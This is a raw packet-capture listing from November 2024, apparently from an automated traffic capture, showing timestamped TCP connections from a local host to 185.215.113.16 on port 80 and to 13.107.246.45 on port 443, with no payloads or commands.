Nov 21, 2024 00:03:25.246799946 CET	49760	80	192.168.2.7	185.215.113.16
Nov 21, 2024 00:03:25.246808052 CET	80	49760	185.215.113.16	192.168.2.7
Nov 21, 2024 00:03:25.246819973 CET	80	49760	185.215.113.16	192.168.2.7
Nov 21, 2024 00:03:25.246833086 CET	80	49760	185.215.113.16	192.168.2.7
Nov 21, 2024 00:03:25.246869087 CET	49760	80	192.168.2.7	185.215.113.16
Nov 21, 2024 00:03:25.247767925 CET	80	49760	185.215.113.16	192.168.2.7
Nov 21, 2024 00:03:25.247780085 CET	80	49760	185.215.113.16	192.168.2.7
Nov 21, 2024 00:03:25.247790098 CET	80	49760	185.215.113.16	192.168.2.7
Nov 21, 2024 00:03:25.247821093 CET	49760	80	192.168.2.7	185.215.113.16
Nov 21, 2024 00:03:25.247826099 CET	80	49760	185.215.113.16	192.168.2.7
Nov 21, 2024 00:03:25.247837067 CET	49760	80	192.168.2.7	185.215.113.16
Nov 21, 2024 00:03:25.248863935 CET	80	49760	185.215.113.16	192.168.2.7
Nov 21, 2024 00:03:25.248878956 CET	80	49760	185.215.113.16	192.168.2.7
Nov 21, 2024 00:03:25.248919010 CET	80	49760	185.215.113.16	192.168.2.7
Nov 21, 2024 00:03:25.248919964 CET	49760	80	192.168.2.7	185.215.113.16
Nov 21, 2024 00:03:25.248934984 CET	80	49760	185.215.113.16	192.168.2.7
Nov 21, 2024 00:03:25.248958111 CET	49760	80	192.168.2.7	185.215.113.16
Nov 21, 2024 00:03:25.249835014 CET	80	49760	185.215.113.16	192.168.2.7
Nov 21, 2024 00:03:25.249847889 CET	80	49760	185.215.113.16	192.168.2.7
Nov 21, 2024 00:03:25.249860048 CET	80	49760	185.215.113.16	192.168.2.7
Nov 21, 2024 00:03:25.249892950 CET	49760	80	192.168.2.7	185.215.113.16
Nov 21, 2024 00:03:25.249911070 CET	49760	80	192.168.2.7	185.215.113.16
Nov 21, 2024 00:03:25.249972105 CET	80	49760	185.215.113.16	192.168.2.7
Nov 21, 2024 00:03:25.250783920 CET	80	49760	185.215.113.16	192.168.2.7
Nov 21, 2024 00:03:25.250797987 CET	80	49760	185.215.113.16	192.168.2.7
Nov 21, 2024 00:03:25.250813961 CET	80	49760	185.215.113.16	192.168.2.7
Nov 21, 2024 00:03:25.250828981 CET	80	49760	185.215.113.16	192.168.2.7
Nov 21, 2024 00:03:25.250834942 CET	49760	80	192.168.2.7	185.215.113.16
Nov 21, 2024 00:03:25.250864983 CET	49760	80	192.168.2.7	185.215.113.16
Nov 21, 2024 00:03:25.251760960 CET	80	49760	185.215.113.16	192.168.2.7
Nov 21, 2024 00:03:25.251775026 CET	80	49760	185.215.113.16	192.168.2.7
Nov 21, 2024 00:03:25.251792908 CET	80	49760	185.215.113.16	192.168.2.7
Nov 21, 2024 00:03:25.251805067 CET	80	49760	185.215.113.16	192.168.2.7
Nov 21, 2024 00:03:25.251822948 CET	49760	80	192.168.2.7	185.215.113.16
Nov 21, 2024 00:03:25.251842976 CET	49760	80	192.168.2.7	185.215.113.16
Nov 21, 2024 00:03:25.252710104 CET	80	49760	185.215.113.16	192.168.2.7
Nov 21, 2024 00:03:25.252721071 CET	80	49760	185.215.113.16	192.168.2.7
Nov 21, 2024 00:03:25.252732992 CET	80	49760	185.215.113.16	192.168.2.7
Nov 21, 2024 00:03:25.252744913 CET	80	49760	185.215.113.16	192.168.2.7
Nov 21, 2024 00:03:25.252768040 CET	49760	80	192.168.2.7	185.215.113.16
Nov 21, 2024 00:03:25.252780914 CET	49760	80	192.168.2.7	185.215.113.16
Nov 21, 2024 00:03:25.253665924 CET	80	49760	185.215.113.16	192.168.2.7
Nov 21, 2024 00:03:25.253679037 CET	80	49760	185.215.113.16	192.168.2.7
Nov 21, 2024 00:03:25.253690004 CET	80	49760	185.215.113.16	192.168.2.7
Nov 21, 2024 00:03:25.253720999 CET	49760	80	192.168.2.7	185.215.113.16
Nov 21, 2024 00:03:25.253732920 CET	49760	80	192.168.2.7	185.215.113.16
Nov 21, 2024 00:03:25.253781080 CET	80	49760	185.215.113.16	192.168.2.7
Nov 21, 2024 00:03:25.254672050 CET	80	49760	185.215.113.16	192.168.2.7
Nov 21, 2024 00:03:25.254683971 CET	80	49760	185.215.113.16	192.168.2.7
Nov 21, 2024 00:03:25.254693985 CET	80	49760	185.215.113.16	192.168.2.7
Nov 21, 2024 00:03:25.254708052 CET	80	49760	185.215.113.16	192.168.2.7
Nov 21, 2024 00:03:25.254720926 CET	49760	80	192.168.2.7	185.215.113.16
Nov 21, 2024 00:03:25.254738092 CET	49760	80	192.168.2.7	185.215.113.16
Nov 21, 2024 00:03:25.255664110 CET	80	49760	185.215.113.16	192.168.2.7
Nov 21, 2024 00:03:25.255676985 CET	80	49760	185.215.113.16	192.168.2.7
Nov 21, 2024 00:03:25.255688906 CET	80	49760	185.215.113.16	192.168.2.7
Nov 21, 2024 00:03:25.255719900 CET	49760	80	192.168.2.7	185.215.113.16
Nov 21, 2024 00:03:25.255733967 CET	49760	80	192.168.2.7	185.215.113.16
Nov 21, 2024 00:03:25.255758047 CET	80	49760	185.215.113.16	192.168.2.7
Nov 21, 2024 00:03:25.256584883 CET	80	49760	185.215.113.16	192.168.2.7
Nov 21, 2024 00:03:25.256597042 CET	80	49760	185.215.113.16	192.168.2.7
Nov 21, 2024 00:03:25.256608009 CET	80	49760	185.215.113.16	192.168.2.7
Nov 21, 2024 00:03:25.256628036 CET	49760	80	192.168.2.7	185.215.113.16
Nov 21, 2024 00:03:25.256628990 CET	80	49760	185.215.113.16	192.168.2.7
Nov 21, 2024 00:03:25.256642103 CET	49760	80	192.168.2.7	185.215.113.16
Nov 21, 2024 00:03:25.257587910 CET	80	49760	185.215.113.16	192.168.2.7
Nov 21, 2024 00:03:25.257600069 CET	80	49760	185.215.113.16	192.168.2.7
Nov 21, 2024 00:03:25.257630110 CET	49760	80	192.168.2.7	185.215.113.16
Nov 21, 2024 00:03:25.257637978 CET	80	49760	185.215.113.16	192.168.2.7
Nov 21, 2024 00:03:25.257649899 CET	80	49760	185.215.113.16	192.168.2.7
Nov 21, 2024 00:03:25.257673979 CET	49760	80	192.168.2.7	185.215.113.16
Nov 21, 2024 00:03:25.258493900 CET	80	49760	185.215.113.16	192.168.2.7
Nov 21, 2024 00:03:25.258533955 CET	80	49760	185.215.113.16	192.168.2.7
Nov 21, 2024 00:03:25.258536100 CET	49760	80	192.168.2.7	185.215.113.16
Nov 21, 2024 00:03:25.258547068 CET	80	49760	185.215.113.16	192.168.2.7
Nov 21, 2024 00:03:25.258586884 CET	49760	80	192.168.2.7	185.215.113.16
Nov 21, 2024 00:03:25.258640051 CET	80	49760	185.215.113.16	192.168.2.7
Nov 21, 2024 00:03:25.259537935 CET	80	49760	185.215.113.16	192.168.2.7
Nov 21, 2024 00:03:25.259551048 CET	80	49760	185.215.113.16	192.168.2.7
Nov 21, 2024 00:03:25.259561062 CET	80	49760	185.215.113.16	192.168.2.7
Nov 21, 2024 00:03:25.259588003 CET	80	49760	185.215.113.16	192.168.2.7
Nov 21, 2024 00:03:25.259588957 CET	49760	80	192.168.2.7	185.215.113.16
Nov 21, 2024 00:03:25.259599924 CET	49760	80	192.168.2.7	185.215.113.16
Nov 21, 2024 00:03:25.260507107 CET	80	49760	185.215.113.16	192.168.2.7
Nov 21, 2024 00:03:25.260519981 CET	80	49760	185.215.113.16	192.168.2.7
Nov 21, 2024 00:03:25.260530949 CET	80	49760	185.215.113.16	192.168.2.7
Nov 21, 2024 00:03:25.260574102 CET	49760	80	192.168.2.7	185.215.113.16
Nov 21, 2024 00:03:25.260591984 CET	49760	80	192.168.2.7	185.215.113.16
Nov 21, 2024 00:03:25.260596037 CET	80	49760	185.215.113.16	192.168.2.7
Nov 21, 2024 00:03:25.261460066 CET	80	49760	185.215.113.16	192.168.2.7
Nov 21, 2024 00:03:25.261593103 CET	80	49760	185.215.113.16	192.168.2.7
Nov 21, 2024 00:03:25.261605978 CET	80	49760	185.215.113.16	192.168.2.7
Nov 21, 2024 00:03:25.261636972 CET	49760	80	192.168.2.7	185.215.113.16
Nov 21, 2024 00:03:25.261662960 CET	49760	80	192.168.2.7	185.215.113.16
Nov 21, 2024 00:03:25.261689901 CET	80	49760	185.215.113.16	192.168.2.7
Nov 21, 2024 00:03:25.262398958 CET	80	49760	185.215.113.16	192.168.2.7
Nov 21, 2024 00:03:25.262439966 CET	80	49760	185.215.113.16	192.168.2.7
Nov 21, 2024 00:03:25.262444973 CET	49760	80	192.168.2.7	185.215.113.16
Nov 21, 2024 00:03:25.262454033 CET	80	49760	185.215.113.16	192.168.2.7
Nov 21, 2024 00:03:25.262497902 CET	49760	80	192.168.2.7	185.215.113.16
Nov 21, 2024 00:03:25.262557983 CET	80	49760	185.215.113.16	192.168.2.7
Nov 21, 2024 00:03:25.306574106 CET	49760	80	192.168.2.7	185.215.113.16
Nov 21, 2024 00:03:25.308492899 CET	443	49768	13.107.246.45	192.168.2.7
Nov 21, 2024 00:03:25.308686972 CET	443	49768	13.107.246.45	192.168.2.7
Nov 21, 2024 00:03:25.308809042 CET	49768	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:03:25.310738087 CET	443	49769	13.107.246.45	192.168.2.7
Nov 21, 2024 00:03:25.323230982 CET	49768	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:03:25.323262930 CET	443	49768	13.107.246.45	192.168.2.7
Nov 21, 2024 00:03:25.323318005 CET	49768	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:03:25.323327065 CET	443	49768	13.107.246.45	192.168.2.7
Nov 21, 2024 00:03:25.324520111 CET	49769	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:03:25.324541092 CET	443	49769	13.107.246.45	192.168.2.7
Nov 21, 2024 00:03:25.324955940 CET	49769	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:03:25.324964046 CET	443	49769	13.107.246.45	192.168.2.7
Nov 21, 2024 00:03:25.430490017 CET	80	49760	185.215.113.16	192.168.2.7
Nov 21, 2024 00:03:25.430536032 CET	80	49760	185.215.113.16	192.168.2.7
Nov 21, 2024 00:03:25.430548906 CET	80	49760	185.215.113.16	192.168.2.7
Nov 21, 2024 00:03:25.430620909 CET	49760	80	192.168.2.7	185.215.113.16
Nov 21, 2024 00:03:25.430675983 CET	80	49760	185.215.113.16	192.168.2.7
Nov 21, 2024 00:03:25.430694103 CET	80	49760	185.215.113.16	192.168.2.7
Nov 21, 2024 00:03:25.430706024 CET	80	49760	185.215.113.16	192.168.2.7
Nov 21, 2024 00:03:25.430717945 CET	80	49760	185.215.113.16	192.168.2.7
Nov 21, 2024 00:03:25.430722952 CET	49760	80	192.168.2.7	185.215.113.16
Nov 21, 2024 00:03:25.430746078 CET	49760	80	192.168.2.7	185.215.113.16
Nov 21, 2024 00:03:25.431199074 CET	80	49760	185.215.113.16	192.168.2.7
Nov 21, 2024 00:03:25.431226969 CET	80	49760	185.215.113.16	192.168.2.7
Nov 21, 2024 00:03:25.431237936 CET	49760	80	192.168.2.7	185.215.113.16
Nov 21, 2024 00:03:25.431242943 CET	80	49760	185.215.113.16	192.168.2.7
Nov 21, 2024 00:03:25.431284904 CET	80	49760	185.215.113.16	192.168.2.7
Nov 21, 2024 00:03:25.431299925 CET	49760	80	192.168.2.7	185.215.113.16
Nov 21, 2024 00:03:25.432240009 CET	80	49760	185.215.113.16	192.168.2.7
Nov 21, 2024 00:03:25.432251930 CET	80	49760	185.215.113.16	192.168.2.7
Nov 21, 2024 00:03:25.432265997 CET	80	49760	185.215.113.16	192.168.2.7
Nov 21, 2024 00:03:25.432279110 CET	80	49760	185.215.113.16	192.168.2.7
Nov 21, 2024 00:03:25.432292938 CET	49760	80	192.168.2.7	185.215.113.16
Nov 21, 2024 00:03:25.432317019 CET	49760	80	192.168.2.7	185.215.113.16
Nov 21, 2024 00:03:25.433068037 CET	80	49760	185.215.113.16	192.168.2.7
Nov 21, 2024 00:03:25.433084965 CET	80	49760	185.215.113.16	192.168.2.7
Nov 21, 2024 00:03:25.433100939 CET	80	49760	185.215.113.16	192.168.2.7
Nov 21, 2024 00:03:25.433123112 CET	49760	80	192.168.2.7	185.215.113.16
Nov 21, 2024 00:03:25.433141947 CET	49760	80	192.168.2.7	185.215.113.16
Nov 21, 2024 00:03:25.433187962 CET	80	49760	185.215.113.16	192.168.2.7
Nov 21, 2024 00:03:25.433304071 CET	49773	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:03:25.433331013 CET	443	49773	13.107.246.45	192.168.2.7
Nov 21, 2024 00:03:25.433394909 CET	49773	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:03:25.433934927 CET	49773	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:03:25.433950901 CET	443	49773	13.107.246.45	192.168.2.7
Nov 21, 2024 00:03:25.434001923 CET	80	49760	185.215.113.16	192.168.2.7
Nov 21, 2024 00:03:25.434021950 CET	80	49760	185.215.113.16	192.168.2.7
Nov 21, 2024 00:03:25.434034109 CET	80	49760	185.215.113.16	192.168.2.7
Nov 21, 2024 00:03:25.434037924 CET	49760	80	192.168.2.7	185.215.113.16
Nov 21, 2024 00:03:25.434068918 CET	80	49760	185.215.113.16	192.168.2.7
Nov 21, 2024 00:03:25.434072018 CET	49760	80	192.168.2.7	185.215.113.16
Nov 21, 2024 00:03:25.434995890 CET	80	49760	185.215.113.16	192.168.2.7
Nov 21, 2024 00:03:25.435010910 CET	80	49760	185.215.113.16	192.168.2.7
Nov 21, 2024 00:03:25.435031891 CET	80	49760	185.215.113.16	192.168.2.7
Nov 21, 2024 00:03:25.435060024 CET	49760	80	192.168.2.7	185.215.113.16
Nov 21, 2024 00:03:25.435077906 CET	49760	80	192.168.2.7	185.215.113.16
Nov 21, 2024 00:03:25.435108900 CET	80	49760	185.215.113.16	192.168.2.7
Nov 21, 2024 00:03:25.436213017 CET	80	49760	185.215.113.16	192.168.2.7
Nov 21, 2024 00:03:25.436228991 CET	80	49760	185.215.113.16	192.168.2.7
Nov 21, 2024 00:03:25.436253071 CET	80	49760	185.215.113.16	192.168.2.7
Nov 21, 2024 00:03:25.436264992 CET	49760	80	192.168.2.7	185.215.113.16
Nov 21, 2024 00:03:25.436290979 CET	80	49760	185.215.113.16	192.168.2.7
Nov 21, 2024 00:03:25.436290979 CET	49760	80	192.168.2.7	185.215.113.16
Nov 21, 2024 00:03:25.436992884 CET	80	49760	185.215.113.16	192.168.2.7
Nov 21, 2024 00:03:25.437025070 CET	80	49760	185.215.113.16	192.168.2.7
Nov 21, 2024 00:03:25.437036991 CET	80	49760	185.215.113.16	192.168.2.7
Nov 21, 2024 00:03:25.437038898 CET	49760	80	192.168.2.7	185.215.113.16
Nov 21, 2024 00:03:25.437050104 CET	80	49760	185.215.113.16	192.168.2.7
Nov 21, 2024 00:03:25.437073946 CET	49760	80	192.168.2.7	185.215.113.16
Nov 21, 2024 00:03:25.437891006 CET	80	49760	185.215.113.16	192.168.2.7
Nov 21, 2024 00:03:25.437938929 CET	49760	80	192.168.2.7	185.215.113.16
Nov 21, 2024 00:03:25.437959909 CET	80	49760	185.215.113.16	192.168.2.7
Nov 21, 2024 00:03:25.437980890 CET	80	49760	185.215.113.16	192.168.2.7
Nov 21, 2024 00:03:25.437994003 CET	80	49760	185.215.113.16	192.168.2.7
Nov 21, 2024 00:03:25.438020945 CET	49760	80	192.168.2.7	185.215.113.16
Nov 21, 2024 00:03:25.438843966 CET	80	49760	185.215.113.16	192.168.2.7
Nov 21, 2024 00:03:25.438882113 CET	80	49760	185.215.113.16	192.168.2.7
Nov 21, 2024 00:03:25.438894033 CET	80	49760	185.215.113.16	192.168.2.7
Nov 21, 2024 00:03:25.438898087 CET	49760	80	192.168.2.7	185.215.113.16
Nov 21, 2024 00:03:25.438926935 CET	49760	80	192.168.2.7	185.215.113.16
Nov 21, 2024 00:03:25.438978910 CET	80	49760	185.215.113.16	192.168.2.7
Nov 21, 2024 00:03:25.439863920 CET	80	49760	185.215.113.16	192.168.2.7
Nov 21, 2024 00:03:25.439918041 CET	49760	80	192.168.2.7	185.215.113.16
Nov 21, 2024 00:03:25.439982891 CET	80	49760	185.215.113.16	192.168.2.7
Nov 21, 2024 00:03:25.440167904 CET	80	49760	185.215.113.16	192.168.2.7
Nov 21, 2024 00:03:25.440207958 CET	49760	80	192.168.2.7	185.215.113.16
Nov 21, 2024 00:03:25.440257072 CET	80	49760	185.215.113.16	192.168.2.7
Nov 21, 2024 00:03:25.440787077 CET	80	49760	185.215.113.16	192.168.2.7
Nov 21, 2024 00:03:25.440838099 CET	80	49760	185.215.113.16	192.168.2.7
Nov 21, 2024 00:03:25.440840006 CET	49760	80	192.168.2.7	185.215.113.16
Nov 21, 2024 00:03:25.440860987 CET	80	49760	185.215.113.16	192.168.2.7
Nov 21, 2024 00:03:25.440895081 CET	49760	80	192.168.2.7	185.215.113.16
Nov 21, 2024 00:03:25.440972090 CET	80	49760	185.215.113.16	192.168.2.7
Nov 21, 2024 00:03:25.441879034 CET	80	49760	185.215.113.16	192.168.2.7
Nov 21, 2024 00:03:25.441891909 CET	80	49760	185.215.113.16	192.168.2.7
Nov 21, 2024 00:03:25.441904068 CET	80	49760	185.215.113.16	192.168.2.7
Nov 21, 2024 00:03:25.441929102 CET	49760	80	192.168.2.7	185.215.113.16
Nov 21, 2024 00:03:25.441934109 CET	80	49760	185.215.113.16	192.168.2.7
Nov 21, 2024 00:03:25.441961050 CET	49760	80	192.168.2.7	185.215.113.16
Nov 21, 2024 00:03:25.442769051 CET	80	49760	185.215.113.16	192.168.2.7
Nov 21, 2024 00:03:25.442797899 CET	80	49760	185.215.113.16	192.168.2.7
Nov 21, 2024 00:03:25.442810059 CET	80	49760	185.215.113.16	192.168.2.7
Nov 21, 2024 00:03:25.442816019 CET	49760	80	192.168.2.7	185.215.113.16
Nov 21, 2024 00:03:25.442847013 CET	49760	80	192.168.2.7	185.215.113.16
Nov 21, 2024 00:03:25.442886114 CET	80	49760	185.215.113.16	192.168.2.7
Nov 21, 2024 00:03:25.444657087 CET	80	49760	185.215.113.16	192.168.2.7
Nov 21, 2024 00:03:25.444669962 CET	80	49760	185.215.113.16	192.168.2.7
Nov 21, 2024 00:03:25.444681883 CET	80	49760	185.215.113.16	192.168.2.7
Nov 21, 2024 00:03:25.444713116 CET	49760	80	192.168.2.7	185.215.113.16
Nov 21, 2024 00:03:25.444741011 CET	49760	80	192.168.2.7	185.215.113.16
Nov 21, 2024 00:03:25.444797039 CET	80	49760	185.215.113.16	192.168.2.7
Nov 21, 2024 00:03:25.444839954 CET	80	49760	185.215.113.16	192.168.2.7
Nov 21, 2024 00:03:25.444858074 CET	80	49760	185.215.113.16	192.168.2.7
Nov 21, 2024 00:03:25.444883108 CET	49760	80	192.168.2.7	185.215.113.16
Nov 21, 2024 00:03:25.444915056 CET	80	49760	185.215.113.16	192.168.2.7
Nov 21, 2024 00:03:25.444926977 CET	80	49760	185.215.113.16	192.168.2.7
Nov 21, 2024 00:03:25.444952965 CET	49760	80	192.168.2.7	185.215.113.16
Nov 21, 2024 00:03:25.445733070 CET	80	49760	185.215.113.16	192.168.2.7
Nov 21, 2024 00:03:25.445780039 CET	49760	80	192.168.2.7	185.215.113.16
Nov 21, 2024 00:03:25.445787907 CET	80	49760	185.215.113.16	192.168.2.7
Nov 21, 2024 00:03:25.445822001 CET	80	49760	185.215.113.16	192.168.2.7
Nov 21, 2024 00:03:25.445837021 CET	80	49760	185.215.113.16	192.168.2.7
Nov 21, 2024 00:03:25.445868015 CET	49760	80	192.168.2.7	185.215.113.16
Nov 21, 2024 00:03:25.446686029 CET	80	49760	185.215.113.16	192.168.2.7
Nov 21, 2024 00:03:25.446741104 CET	49760	80	192.168.2.7	185.215.113.16
Nov 21, 2024 00:03:25.446780920 CET	80	49760	185.215.113.16	192.168.2.7
Nov 21, 2024 00:03:25.497200966 CET	443	49770	13.107.246.45	192.168.2.7
Nov 21, 2024 00:03:25.509726048 CET	49760	80	192.168.2.7	185.215.113.16
Nov 21, 2024 00:03:25.540978909 CET	49770	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:03:25.604887962 CET	49770	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:03:25.604904890 CET	443	49770	13.107.246.45	192.168.2.7
Nov 21, 2024 00:03:25.609040976 CET	49770	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:03:25.609049082 CET	443	49770	13.107.246.45	192.168.2.7
Nov 21, 2024 00:03:25.754640102 CET	443	49769	13.107.246.45	192.168.2.7
Nov 21, 2024 00:03:25.754740953 CET	443	49769	13.107.246.45	192.168.2.7
Nov 21, 2024 00:03:25.754832029 CET	49769	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:03:25.771718979 CET	49769	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:03:25.771732092 CET	443	49769	13.107.246.45	192.168.2.7
Nov 21, 2024 00:03:25.771744013 CET	49769	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:03:25.771749020 CET	443	49769	13.107.246.45	192.168.2.7
Nov 21, 2024 00:03:25.884268999 CET	49774	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:03:25.884310007 CET	443	49774	13.107.246.45	192.168.2.7
Nov 21, 2024 00:03:25.884373903 CET	49774	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:03:25.884915113 CET	49774	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:03:25.884929895 CET	443	49774	13.107.246.45	192.168.2.7
Nov 21, 2024 00:03:25.942039967 CET	443	49770	13.107.246.45	192.168.2.7
Nov 21, 2024 00:03:25.942102909 CET	443	49770	13.107.246.45	192.168.2.7
Nov 21, 2024 00:03:25.942169905 CET	49770	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:03:25.942329884 CET	49770	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:03:25.942329884 CET	49770	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:03:25.942372084 CET	443	49770	13.107.246.45	192.168.2.7
Nov 21, 2024 00:03:25.942389011 CET	443	49770	13.107.246.45	192.168.2.7
Nov 21, 2024 00:03:25.949420929 CET	49775	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:03:25.949455023 CET	443	49775	13.107.246.45	192.168.2.7
Nov 21, 2024 00:03:25.949510098 CET	49775	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:03:25.949933052 CET	49775	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:03:25.949947119 CET	443	49775	13.107.246.45	192.168.2.7
Nov 21, 2024 00:03:27.009186029 CET	443	49771	13.107.246.45	192.168.2.7
Nov 21, 2024 00:03:27.010011911 CET	49771	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:03:27.010027885 CET	443	49771	13.107.246.45	192.168.2.7
Nov 21, 2024 00:03:27.010587931 CET	49771	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:03:27.010593891 CET	443	49771	13.107.246.45	192.168.2.7
Nov 21, 2024 00:03:27.018810034 CET	443	49772	13.107.246.45	192.168.2.7
Nov 21, 2024 00:03:27.019248962 CET	49772	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:03:27.019269943 CET	443	49772	13.107.246.45	192.168.2.7
Nov 21, 2024 00:03:27.019665003 CET	49772	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:03:27.019670010 CET	443	49772	13.107.246.45	192.168.2.7
Nov 21, 2024 00:03:27.222642899 CET	443	49773	13.107.246.45	192.168.2.7
Nov 21, 2024 00:03:27.223272085 CET	49773	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:03:27.223289967 CET	443	49773	13.107.246.45	192.168.2.7
Nov 21, 2024 00:03:27.223897934 CET	49773	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:03:27.223902941 CET	443	49773	13.107.246.45	192.168.2.7
Nov 21, 2024 00:03:27.453830957 CET	443	49771	13.107.246.45	192.168.2.7
Nov 21, 2024 00:03:27.453917027 CET	443	49771	13.107.246.45	192.168.2.7
Nov 21, 2024 00:03:27.453973055 CET	49771	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:03:27.454160929 CET	49771	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:03:27.454180956 CET	443	49771	13.107.246.45	192.168.2.7
Nov 21, 2024 00:03:27.454191923 CET	49771	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:03:27.454210997 CET	443	49771	13.107.246.45	192.168.2.7
Nov 21, 2024 00:03:27.457556009 CET	49776	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:03:27.457581043 CET	443	49776	13.107.246.45	192.168.2.7
Nov 21, 2024 00:03:27.457669020 CET	49776	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:03:27.457890987 CET	49776	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:03:27.457906008 CET	443	49776	13.107.246.45	192.168.2.7
Nov 21, 2024 00:03:27.468677044 CET	443	49772	13.107.246.45	192.168.2.7
Nov 21, 2024 00:03:27.468857050 CET	443	49772	13.107.246.45	192.168.2.7
Nov 21, 2024 00:03:27.468929052 CET	49772	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:03:27.469191074 CET	49772	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:03:27.469191074 CET	49772	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:03:27.469233036 CET	443	49772	13.107.246.45	192.168.2.7
Nov 21, 2024 00:03:27.469254971 CET	443	49772	13.107.246.45	192.168.2.7
Nov 21, 2024 00:03:27.471256971 CET	49777	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:03:27.471321106 CET	443	49777	13.107.246.45	192.168.2.7
Nov 21, 2024 00:03:27.471498013 CET	49777	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:03:27.471616983 CET	49777	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:03:27.471688032 CET	443	49777	13.107.246.45	192.168.2.7
Nov 21, 2024 00:03:27.666698933 CET	443	49773	13.107.246.45	192.168.2.7
Nov 21, 2024 00:03:27.666876078 CET	443	49773	13.107.246.45	192.168.2.7
Nov 21, 2024 00:03:27.666949987 CET	49773	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:03:27.667212963 CET	49773	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:03:27.667231083 CET	443	49773	13.107.246.45	192.168.2.7
Nov 21, 2024 00:03:27.667242050 CET	49773	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:03:27.667247057 CET	443	49773	13.107.246.45	192.168.2.7
Nov 21, 2024 00:03:27.670476913 CET	49778	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:03:27.670510054 CET	443	49778	13.107.246.45	192.168.2.7
Nov 21, 2024 00:03:27.670612097 CET	49778	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:03:27.670819044 CET	49778	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:03:27.670831919 CET	443	49778	13.107.246.45	192.168.2.7
Nov 21, 2024 00:03:27.701355934 CET	443	49774	13.107.246.45	192.168.2.7
Nov 21, 2024 00:03:27.701862097 CET	49774	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:03:27.701872110 CET	443	49774	13.107.246.45	192.168.2.7
Nov 21, 2024 00:03:27.702538967 CET	49774	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:03:27.702543020 CET	443	49774	13.107.246.45	192.168.2.7
Nov 21, 2024 00:03:27.729404926 CET	443	49775	13.107.246.45	192.168.2.7
Nov 21, 2024 00:03:27.729902983 CET	49775	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:03:27.729912996 CET	443	49775	13.107.246.45	192.168.2.7
Nov 21, 2024 00:03:27.730652094 CET	49775	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:03:27.730657101 CET	443	49775	13.107.246.45	192.168.2.7
Nov 21, 2024 00:03:28.145071030 CET	443	49774	13.107.246.45	192.168.2.7
Nov 21, 2024 00:03:28.145181894 CET	443	49774	13.107.246.45	192.168.2.7
Nov 21, 2024 00:03:28.145421982 CET	49774	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:03:28.145523071 CET	49774	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:03:28.145543098 CET	443	49774	13.107.246.45	192.168.2.7
Nov 21, 2024 00:03:28.145555973 CET	49774	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:03:28.145564079 CET	443	49774	13.107.246.45	192.168.2.7
Nov 21, 2024 00:03:28.148770094 CET	49779	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:03:28.148804903 CET	443	49779	13.107.246.45	192.168.2.7
Nov 21, 2024 00:03:28.148940086 CET	49779	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:03:28.149235964 CET	49779	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:03:28.149246931 CET	443	49779	13.107.246.45	192.168.2.7
Nov 21, 2024 00:03:28.172508955 CET	443	49775	13.107.246.45	192.168.2.7
Nov 21, 2024 00:03:28.172578096 CET	443	49775	13.107.246.45	192.168.2.7
Nov 21, 2024 00:03:28.172636986 CET	49775	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:03:28.172925949 CET	49775	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:03:28.172925949 CET	49775	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:03:28.172947884 CET	443	49775	13.107.246.45	192.168.2.7
Nov 21, 2024 00:03:28.172961950 CET	443	49775	13.107.246.45	192.168.2.7
Nov 21, 2024 00:03:28.175654888 CET	49780	443	192.168.2.7	13.107.246.45
